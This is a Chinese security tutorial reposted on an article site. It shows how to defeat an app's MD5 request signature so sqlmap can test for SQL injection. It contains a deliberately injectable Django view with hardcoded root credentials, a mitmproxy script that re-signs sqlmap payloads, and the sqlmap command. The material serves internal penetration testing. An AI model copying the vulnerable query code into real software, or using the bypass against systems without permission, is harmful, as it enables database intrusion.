sqlmap处理sign加密的思路

我对公司的APP进行测试的时候发现,我们是将所有的参数内容加上一个32位字符最后在进行MD5加密。由于APP处理的流程首先是验证sign是不是正确,如果验签失败,根本就进不去数据库,为了要使用SQLMAP对其进行测试,于是就写了一个代理数据的脚本,在拦截到数据包之后,对其参数内容和32字符进行加密替换。

注:该脚本适用于公司内部系统,因为能够知道加密的流程;或者能够拿到前端JS的加密方式。

首先我使用Django写了一个程序来模拟公司的系统,流程是获取POST的id和token,并加上自定义加密的字符,由于Django获取到数据是已经经过URLDECODE,所以我用了quote对参数id的内容进行URLENCODE,再进行MD5加密,最后验证请求过来的token是否和参数内容一致。

views.pyfrom django.shortcuts import renderfrom django.http import JsonResponse# Create your views here.import hashlibimport MySQLdbimport urllibfrom django.views.decorators.csrf import csrf_exempt@csrf_exemptdef index(request):    id = request.POST.get("id")    token = request.POST.get("token")    str = urllib.quote(id+"test")    print(str)    hl = hashlib.md5()    hl.update(str)    token1 = hl.hexdigest()    print token1    if token == token1:        db = MySQLdb.connect("localhost", "root", "123456", "testdb", charset='utf8')        cursor = db.cursor()        cursor.execute("select * from t_userinfo where id="+id)        data = cursor.fetchone()        print "Database version : %s " % data        db.close()        return JsonResponse({"msg":"verity ok"})    else:        return JsonResponse({"msg":"verity error."})models.pyclass userinfo(models.Model):    name = models.CharField(max_length=100)    age = models.CharField(max_length=100)

使用BP进行抓包,可以看到当验证正确和验证错误返回的状态。

sqlmap处理sign加密的思路sqlmap处理sign加密的思路

使用SQLMAP进行测试,发现无法测试。
sqlmap处理sign加密的思路于是我使用mitmproxy,mitmproxy是一个交互式的中间代理HTTP和HTTPS的控制台界面,具体详情可以看这里。

如果要修改的话,只修改wsproxy_request_handle函数,因为这个函数是拦截数据并且篡改数据的过程,其他的代码都是配置过程和运行过程,不用修改。

from mitmproxy.proxy.server import ProxyServerfrom mitmproxy import flow,  controllerfrom mitmproxy import flow, proxy, controller, optionsimport hashlibimport redef md5cr(str):    hl = hashlib.md5()    hl.update(str.encode(encoding='utf-8'))    return hl.hexdigest()class WSProxy(flow.FlowMaster):    def __init__(self, opts, server, state, unsave_data):        super(WSProxy, self).__init__(opts, server, state)        self.unsave_data = unsave_data    def run(self):        try:            print("start")            flow.FlowMaster.run(self)        except KeyboardInterrupt:            self.shutdown()    @controller.handler    def request(self, f):        wsproxy_request_handle(f)    @controller.handler    def response(self, f):        wsproxy_response_handle(f)        # parser = ResponseParser(f)        # insert_result(parser.parser_data())def wsproxy_request_handle(flow):    """wyproxy send data to server before processing"""    try:        data = flow.request.content.split("&")        t = ""        for i in data:            if i.split("=")[0] != "token":                t = t+i.split("=")[1]        str = t+"test"        sign = md5cr(str)        print(str)        data1 = re.match("(.*?)token=",flow.request.content).group()        flow.request.content = data1+sign        print(flow.request.content)    except IndexError:        passdef wsproxy_response_handle(flow):    passport = 8888  #mode = 'regular'  #mode=regularopts = options.Options(        listen_port=int(port),        mode=mode,        cadir="./ssl/",)unsave_data = Falseconfig = proxy.ProxyConfig(opts)state = flow.State()server = ProxyServer(config)m = WSProxy(opts, server, state, unsave_data)m.run()

运行上面的脚本使用SQLMAP代理到上http://IP:8888上面,然后脚本会自动处理sqlmap的payload和生成对应的sign。

python sqlmap.py -r e:\1.txt -p id --dbms=mysql --batch  --proxy=http://192.168.1.240:8888

sqlmap处理sign加密的思路

上面是生成payload和sign的过程,下面是我请求一个payload报错的过程。

sqlmap处理sign加密的思路

sqlmap处理sign加密的思路

感谢大家的阅读,以上就是“sqlmap处理sign加密的思路”的全部内容了,学会的朋友赶紧操作起来吧。相信亿速云小编一定会给大家带来更优质的文章。谢谢大家对亿速云网站的支持!

文章标题:sqlmap处理sign加密的思路,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/28290

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云的头像亿速云认证作者
上一篇 2022年9月21日 下午10:52
下一篇 2022年9月21日 下午10:54

相关推荐

  • 怎么使用linux命令备份文件夹

    linux命令能备份文件夹。有两种命令用于备份文件夹:1、cp命令,该命令用于复制文件或文件夹,语法为“cp [options] source dest”;2、dump命令,该命令用于备份文件系统,语法为“dump [-cnu][-0123456789]…”。 linux命令备份文件夹 …

    2022年6月29日
    3.3K00
  • Redis环境搭建和使用的方法

    一、常见的非关系型数据库NOSQL分类 NOSQL类型 主要数据库产品 类型特色 K-V键值对存储类型 Redis、Memcached 使用key可以快速的查询到value,Memcached可以支持String类型的值value,Redis支持的值的数据类型很多如:Stringsethashsor…

    2022年9月18日
    99700
  • WAF对WebShell流量检测的性能分析是怎样的

    本地环境组建 从保留的截图来看,对方的php版本是5.6.40,所以我要搭一个apache+php5.6.40的测试环境。打开virtualbox,链接复制出来一份centos镜像系统,按照以下流程配置一遍。 1. 安装apache yum install -y httpdhttpd -vServe…

    2022年9月24日
    68400
  • mysql中sum()函数如何用

    在mysql中,sum()函数用于计算一组值或表达式的总和,语法为“SUM(DISTINCT expression)”,DISTINCT运算符允许计算集合中的不同值。sum()函数需要配合SELECT语句一起使用,如果在没有返回匹配行SELECT语句中使用SUM()函数,则SUM()函数会返回NUL…

    2022年9月26日
    1.5K00
  • easyrecovery如何恢复U盘

    easyrecovery恢复U盘的方法 1、打开软件,找到你要恢复的文件类型,点击下一步。 2、选择你要恢复的硬盘。 3、手动查找需要恢复文件,这里有三种板块功能,可以都点开看看,找到你想要的那个文件。 4、等你找到你想要恢复的文件之后,点击恢复就可以了。 到此,相信大家对“easyrecovery…

    2022年9月26日
    44300
  • windows中360桌面助手如何整理桌面

    360桌面助手整理桌面方法: 1、首先打开自己的桌面选择空白处右击。 2、然后在弹出的菜单中点击“桌面助手”。 3、之后选择右侧菜单中的“一键整理桌面”。 4、最后就可以将桌面全部的整理完成了。 感谢各位的阅读,以上就是“windows中360桌面助手如何整理桌面”的内容了,经过本文的学习后,相信大…

    2022年8月31日
    61400
  • 如何进行移动app安全评估检测技术分析

    由于现今的网络技术日益发达,安卓 APP 的安全也有很多隐患,这些都需要我们不断地去注意,从而提高其安全性。人们基于系统程序、系统数据、基础业务的安全性以及应用程序出现的漏洞这几个方面,来不断地完善并且构成一个更加安全、稳定、完整的移动 APP 监测系统来确保移动 APP 的安全性,其将作为“恶意伤…

    2022年9月15日
    93500
  • word字体放大怎么在页面中间

    word字体放大在页面中间的方法 1、首先选中我们需要放大的字体。 在悬浮框的字号中填写或者选择你需要的字号大小。 2、然后点击上方菜单栏中的居中功能。 3、然后点击上方菜单栏中的页面布局,找到页面设置。 4、点开后找到版式页面,在页面的垂直对齐方式中选择居中。 然后点击确定就可以了。 关于“wor…

    2022年9月10日
    74500
  • Js变量or循环中的var和le的介绍

    目录 在for循环中使用var声明初始化带来的问题 解决方法 使用闭包 使用let变量初始化 for循环怎么处理用let和var声明的初始化变量? 总结 在for循环中使用var声明初始化带来的问题 // 一道经典面试题:var funcs = [];for (var i = 0; i < 3…

    2022年9月13日
    55300
  • windows如何修改一张图片的分辨率

    修改方法 1、打开图片,右击选择属性。可以从属性详细信息中查看到这个图片的分辨率。当前这个图片分辨率为687*379。 2、右击图片,选择编辑。打开图片编辑界面。也可以直接打开画图软件,在画图软件中打开需要编辑的这张图片。 3、选择工具栏中的重新调整大小选项。点击打开,会出现如图所示界面,通过这两个…

    2022年9月21日
    11.3K00
注册PingCode 在线客服
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部